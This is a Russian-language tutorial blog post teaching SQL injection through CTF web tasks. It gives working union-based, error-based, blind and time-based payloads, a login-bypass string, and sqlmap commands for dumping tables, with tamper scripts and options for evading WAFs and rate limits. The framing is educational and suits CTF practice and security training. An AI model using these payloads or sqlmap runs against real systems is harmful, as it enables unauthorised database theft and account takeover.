
На недавнем CTF-турнире задача за 250 очков в категории web была элементарной: форма логина, два поля, кнопка Submit. Половина команд запустила sqlmap в лоб и словила бан по IP через 30 секунд — rate-limiter отрабатывал жёстко. Те, кто начал с одной кавычки в поле username и прочитал ответ сервера, решили задачу за 8 минут. Разница между первым и вторым подходом — не в инструментах, а в понимании того, что происходит за формой ввода.
SQL-инъекции стабильно сидят в OWASP Top 10 под номером A03:2021 — Injection и остаются самой частой категорией web-тасков на CTF-площадках. По MITRE ATT&CK эксплуатация SQL-инъекции — техника Exploit Public-Facing Application (T1190, Initial Access), которая открывает доступ к базам данных (T1213.006, Collection) и нередко приводит к извлечению учётных данных (T1552, Unsecured Credentials, Credential Access). Бизнес-логика атаки: получить дамп пользовательских паролей, утянуть API-токены, а в предельном случае — выполнить команды ОС на сервере через xp_cmdshell или записать веб-шелл через INTO OUTFILE. На CTF эта цепочка сжата до «найди флаг», но механика — та же самая.
Эта статья — пошаговый разбор sql-инъекций для начинающих, построенный на логике CTF-задач. Никакой академической теории реляционных баз — только паттерны, которые реально встречаются в тасках, и команды, которые дают результат.
Прежде чем запускать сканер, нужно понять, куда именно вводить payload. Поиск sql-инъекций вручную — навык, который отличает участника CTF от оператора кнопки «Start Scan». В реальных тасках автоматика часто бесполезна: нестандартные эндпоинты, кастомные фильтры, rate-limiting. Ручной подход — база, без которой автоматизация sql injection не даёт результата. Подробнее — в нашем обзоре пентест веб-приложений.
Каждый параметр, который уходит на сервер и потенциально попадает в SQL-запрос — точка входа. И это не только видимые поля формы. Согласно методологии PortSwigger, SQL-инъекции возникают в WHERE-условиях SELECT, но также в UPDATE, INSERT, ORDER BY и даже в именах таблиц и столбцов. На CTF чаще всего уязвимы:
?id=1, ?category=gifts, ?search=testCookie, User-Agent, X-Forwarded-For — встречаются в задачах повышенной сложностиfetchПервый тест — одинарная кавычка. Вставьте ' в подозрительный параметр и отправьте запрос. Три варианта ответа:
You have an error in your SQL syntax или unterminated quoted string) — сервер подставляет ваш ввод в запрос без экранирования. Прямой сигнал к эксплуатации.Для числовых параметров кавычка может не сработать. Попробуйте арифметику: если ?id=2-1 возвращает тот же результат, что ?id=1 — параметр подставляется в запрос как число, и инъекция возможна без кавычек.
Если кавычка не вызвала видимую ошибку, переходим к boolean-тесту. Он позволяет определить уязвимость даже когда приложение не показывает сообщений БД. Отправьте два запроса к одному параметру:
?id=1 AND 1=1 — условие истинно, страница должна отобразиться нормально?id=1 AND 1=2 — условие ложно, поведение страницы должно изменитьсяЕсли ответы различаются — контент пропал, изменился размер страницы, пропала строка из таблицы — параметр уязвим к boolean-based инъекции. По методологии PortSwigger, систематическое сравнение ответов на OR 1=1 и OR 1=2 — стандартный метод ручной детекции SQL-инъекций.
Для строковых параметров синтаксис отличается: ?category=electronics' AND '1'='1 (истинно) vs ?category=electronics' AND '1'='2 (ложно). Кавычки нужно балансировать, чтобы запрос оставался синтаксически корректным.
Нюанс для CTF: не отправляйте OR 1=1 в запросы, которые могут попасть в UPDATE или DELETE. На соревнованиях с общим сервером можно сломать данные для других команд. Как предупреждает PortSwigger: «Even if it appears to be harmless in the context you're injecting into, it's common for applications to use data from a single request in multiple different queries».
В web-CTF задачах встречаются три класса sql-инъекций: in-band (результат запроса виден на странице), blind (результат вычисляется по косвенным признакам) и out-of-band (данные уходят на внешний сервер). Разберём каждый на примерах из реальных тасков.
Union-based — рабочая лошадка для большинства CTF. Если приложение выводит результат SQL-запроса на страницу, через UNION SELECT можно подцепить к нему данные из любой другой таблицы. Самый быстрый способ забрать флаг, когда он лежит в БД.
Последовательность действий фиксирована:
Шаг 1 — определить количество столбцов. Сервер вернёт ошибку, если число столбцов в UNION SELECT не совпадает с основным запросом. Два способа:
Метод ORDER BY: отправляете ?id=1 ORDER BY 1, затем ORDER BY 2, ORDER BY 3 — увеличиваете номер, пока сервер не вернёт ошибку. Последнее число без ошибки = количество столбцов.
Метод UNION SELECT NULL: отправляете ?id=1 UNION SELECT NULL, затем UNION SELECT NULL,NULL, затем UNION SELECT NULL,NULL,NULL — пока не исчезнет ошибка. NULL совместим с любым типом данных в большинстве СУБД (MySQL, PostgreSQL, MSSQL), что снимает проблему несовпадения типов. В Oracle для LOB-типов может потребоваться явный CAST.
Шаг 2 — определить отображаемые столбцы. Замените NULL на строки: ?id=-1 UNION SELECT 'a','b','c'. На странице появится одна или несколько букв — именно в эти позиции подставляются payload'ы для извлечения данных. id=-1 — несуществующий ID, который убирает основной результат запроса и оставляет на странице только вывод UNION.
Шаг 3 — извлечь структуру БД. Если отображается второй столбец, запрос для имён таблиц: ?id=-1 UNION SELECT NULL,table_name,NULL FROM information_schema.tables. Далее столбцы: ?id=-1 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'.
Шаг 4 — забрать данные. Финальный запрос: ?id=-1 UNION SELECT NULL,password,NULL FROM users. Или для CTF: ?id=-1 UNION SELECT NULL,flag,NULL FROM secret_flags.
Типичная ошибка новичков: пробовать UNION SELECT без определения числа столбцов. Запрос с неправильным количеством столбцов никогда не сработает. Всегда начинайте с шага 1.
Error-based sql injection работает, когда приложение отдаёт сообщения об ошибках базы данных в HTTP-ответе. Идея: заставить СУБД вывести нужные данные внутрь текста ошибки.
Классический sql payload для MySQL — функция EXTRACTVALUE: ввод ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) -- в уязвимый параметр вернёт ошибку вида XPATH syntax error: '~5.7.38'. Тильда (0x7e) — маркер начала данных, а version() — пример; на его место подставляется любой подзапрос.
Для PostgreSQL работает приём с CAST: payload ' AND CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT) -- вернёт invalid input syntax for integer: "users" — название таблицы прямо в тексте ошибки. Красота.
В CTF error-based встречается реже union-based, но решается быстрее — один запрос и данные в ответе. Главное — не пропустить текст ошибки: иногда он спрятан в JSON-поле error, в HTML-комментарии <!-- --> или в HTTP-заголовке ответа. Burp Suite тут спасает — ищите по ключевым словам error, syntax, exception в ответе.
Blind sqli — самый мучительный тип для ручной эксплуатации. Приложение не показывает ни данных из запроса, ни ошибок. Единственный канал — косвенные признаки.
Boolean-based blind — вы задаёте вопросы с ответом «да/нет» и посимвольно восстанавливаете данные. Payload для проверки первого символа пароля: ?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'. Если страница не изменилась — символ угадан. Изменилась — пробуем следующий. Для ускорения используют бинарный поиск по ASCII-коду: AND ASCII(SUBSTRING(...,1,1))>77 делит пространство символов пополам на каждом шаге, сокращая количество запросов с 95 (число печатных символов) до 7 на символ.
Time-based SQL injection — вместо анализа контента используется задержка ответа сервера. Payload для MySQL: ?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0). Ответ через 5 секунд — символ угадан. Мгновенный ответ — мимо.
Ручное извлечение данных через blind — занятие для терпеливых (или мазохистов). Пароль из 32 символов через boolean-based при бинарном поиске потребует 32 × 7 = 224 запроса плюс запросы на определение длины строки — итого около 230+. Через time-based с задержкой 5 секунд — это ещё и 18 минут чистого ожидания в лучшем случае. Именно здесь автоматизация sql injection становится не роскошью, а спасением.
sqlmap — open-source инструмент для автоматического обнаружения и эксплуатации SQL-инъекций. Установка: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev. Работает с Python 2.7 и 3.x на любой платформе.
Ключевое правило: sqlmap — инструмент эксплуатации, а не разведки. Как пишет автор SQLMap Cheat Sheet на highon.coffee: «I personally use SQLMap as an exploitation tool — detection is better done manually or using other detection tools such as Burp Suite scanner». На CTF это правило золотое: сначала руками находите точку инъекции и подтверждаете её одной кавычкой или boolean-тестом, потом отдаёте sqlmap для автоматического извлечения данных. Запуск sqlmap «вслепую» — десятки или сотни запросов, которые на CTF с rate-limiting приведут к бану.
Минимальная команда: python sqlmap.py -u "http://target.com/page?id=1". sqlmap протестирует параметр id на все типы инъекций (по умолчанию — BEUSTQ: boolean, error, union, stacked, time, inline query) и после обнаружения уязвимости предложит дальнейшие действия.
Ключевые флаги для CTF-задач:
--dbs — перечислить базы данных на сервере-D имя_базы --tables — показать таблицы в конкретной БД-D имя_базы -T таблица --columns — столбцы таблицы-D имя_базы -T таблица -C col1,col2 --dump — извлечь данные--level=3 --risk=2 — расширенное тестирование; --level определяет количество payload'ов и точек инъекции (на level 2+ тестируются cookie, на 3+ — заголовки вроде User-Agent и Referer); --risk влияет на агрессивность (risk 3 включает OR-based payload'ы, способные повредить данные)--technique=U — ограничить конкретным типом: B(boolean), E(error), U(union), S(stacked), T(time), Q(inline)--dbms=mysql — указать СУБД вручную, чтобы сократить число тестовых запросов-r request.txt — загрузить HTTP-запрос из файла (удобно сохранять из Burp Suite через Save Item)--batch — автоматически отвечать на все вопросы sqlmap (на CTF экономит драгоценные секунды)Типовой рабочий процесс:
python sqlmap.py -u "http://ctf.example/item?id=1" --dbs
python sqlmap.py -u "http://ctf.example/item?id=1" -D ctf_db --tables
python sqlmap.py -u "http://ctf.example/item?id=1" -D ctf_db -T flag --dump
Три команды — и флаг извлечён, если инъекция прямолинейная. Для POST-запросов: python sqlmap.py -u "http://target/login" --data="username=admin&password=test" или -r с файлом запроса.
На CTF связка Burp + sqlmap закрывает подавляющее большинство web-задач на SQL-инъекции. Рабочий процесс:
127.0.0.1:8080)req.txtpython sqlmap.py -r req.txtЕсли инъекция в cookie — sqlmap при --level=2 и выше проверит cookie-параметры автоматически. Для явного указания точки инъекции поставьте * в нужное место файла запроса: Cookie: session=abc; tracking=xyz*. Файл запроса с астериском даёт sqlmap точную информацию о месте инъекции и минимизирует количество тестовых запросов.
На CTF-задачах повышенной сложности встречаются WAF-фильтры и кастомная фильтрация ввода: блокируются пробелы, ключевые слова UNION и SELECT, одинарные кавычки. sqlmap поддерживает tamper-скрипты, которые трансформируют payload перед отправкой.
Часто используемые скрипты:
space2comment — заменяет пробелы на /**/ (обход фильтра пробелов)randomcase — рандомизирует регистр: SeLeCt вместо SELECTbetween — заменяет > на NOT BETWEEN 0 ANDcharencode — URL-кодирует payloadspace2hash — заменяет пробелы на %23\n (для MySQL, где # — комментарий)Подключение: python sqlmap.py -u "http://target/page?id=1" --tamper=space2comment,randomcase. Скрипты указываются через запятую и применяются последовательно.
Tamper-скрипты генерируют заметно больше трафика. На CTF с жёстким rate-limiting добавьте --delay=1 (пауза между запросами) и --timeout=15 (увеличенный тайм-аут). Также полезен --random-agent — некоторые CTF-платформы блокируют дефолтный user-agent sqlmap (sqlmap/1.x...), так что без этого флага можно даже не начинать.
Собираем всё в одну последовательность. Задача: URL http://challenge.ctf/products?category=electronics, нужно найти флаг.
Разведка. Открываем страницу — список товаров. Параметр category подозрителен: скорее всего подставляется в WHERE category = '...'. По MITRE ATT&CK это фаза Vulnerability Scanning (T1595.002, Reconnaissance).
Ручной тест. Добавляем кавычку: ?category=electronics'. Страница выдаёт ошибку SQL — инъекция подтверждена. Пробуем ?category=electronics' OR '1'='1' -- — возвращаются все товары, включая скрытые. Инъекция in-band.
Определение столбцов. ?category=electronics' ORDER BY 3 -- — работает. ORDER BY 4 — ошибка. Столбцов три.
Поиск отображаемых позиций. ?category=-1' UNION SELECT 'x','y','z' -- — на странице видны y и z во втором и третьем столбце.
Извлечение структуры. ?category=-1' UNION SELECT NULL,table_name,NULL FROM information_schema.tables -- — видим таблицы products, users, secret_flags.
Получение флага. ?category=-1' UNION SELECT NULL,flag,NULL FROM secret_flags -- — флаг на странице. Шесть запросов — задача решена.
Альтернативный путь через sqlmap. После подтверждения инъекции кавычкой:
python sqlmap.py -u "http://challenge.ctf/products?category=electronics" \
--technique=U --dbms=mysql -T secret_flags --dump --batch
Флаг --batch для автоответов, --technique=U и --dbms=mysql минимизируют количество запросов — мы уже знаем тип инъекции и СУБД. Без этих подсказок sqlmap отправит 50-100 запросов на фазу детекции, прежде чем начнёт работать. На CTF с rate-limiting это разница между баном и флагом.
Обход авторизации через sql — отдельный частый кейс. Классический payload для формы логина: username admin' --, password — любое значение. Запрос превращается в SELECT * FROM users WHERE username = 'admin' --' AND password = '...', условие пароля комментируется, и вы входите как admin. Этот приём — один из самых ходовых на начальных CTF-задачах.
Все примеры в статье рассчитаны на MySQL/MariaDB 5.x+ и PostgreSQL 9.x+. Синтаксис information_schema, функции SLEEP(), SUBSTRING(), EXTRACTVALUE() специфичны для этих СУБД. Для Microsoft SQL Server payload'ы отличаются: вместо SLEEP(5) — WAITFOR DELAY '0:0:5', вместо LIMIT — TOP. Oracle не поддерживает information_schema — структуру извлекают через all_tables и all_tab_columns.
sqlmap автоматически адаптируется к СУБД после фазы fingerprinting, но если вы указали --dbms=mysql на PostgreSQL-сервере — получите ложные результаты или не обнаружите инъекцию вовсе. Не уверены в СУБД — не указывайте --dbms, пусть sqlmap разберётся сам.
| Тип инъекции | Скорость извлечения | Видимость для WAF | Типичная сложность CTF-таска |
|---|---|---|---|
| Union-based | Высокая | Высокая | Начальная |
| Error-based | Высокая | Средняя | Начальная-средняя |
| Boolean-based blind | Низкая | Низкая | Средняя |
| Time-based blind | Очень низкая | Низкая | Средняя-высокая |
| Out-of-band | Средняя | Низкая | Высокая |
Rate-limiting на CTF-платформах — серьёзное ограничение. Если сервер возвращает HTTP 429 после N запросов, sqlmap без --delay бесполезен. Некоторые площадки блокируют дефолтный user-agent sqlmap (sqlmap/1.x...) — --random-agent решает проблему.
Половина тасков на web-CTF решается SQL-инъекцией того или иного типа. Но я вижу одну и ту же ошибку у новичков: они учат sqlmap, а не SQL. Знание флагов --dbs и --dump не спасёт, когда инъекция в ORDER BY, payload нужно собрать руками, а готового tamper-скрипта для конкретного фильтра не существует. На практике 80% времени уходит на ручную фазу — понять структуру запроса, определить тип инъекции, обойти фильтр — и только 20% на автоматическое извлечение данных. Те, кто пропускает ручной этап, проигрывают не потому что инструмент плохой, а потому что не понимают, чем именно инструмент оперирует.
Вторая системная проблема — непонимание места SQL-инъекции в цепочке атаки. В реальном пентесте SQLi — не финальная точка, а начало: эксплуатация публичного приложения (T1190) ведёт к извлечению паролей из БД (T1552.001), использованию этих учёток для входа в смежные системы (T1078, Valid Accounts), а при наличии прав DBA — к записи хранимых процедур для закрепления (T1505.001, SQL Stored Procedures). CTF упрощает эту цепочку до одного шага, но интуиция формируется только когда понимаешь полную картину. Мой совет: решите хотя бы 15 задач на SQLi руками, без sqlmap. Прочувствуйте разницу между boolean-based и time-based на собственных нервах. После этого sqlmap станет не костылём, а мультипликатором навыка. Если хочешь не просто writeup, а пройти всю атаку самому с лабой на каждый кейс — WAPT на codeby.school/wapt покрывает эту цепочку от ручной инъекции до автоматизации.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «web».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...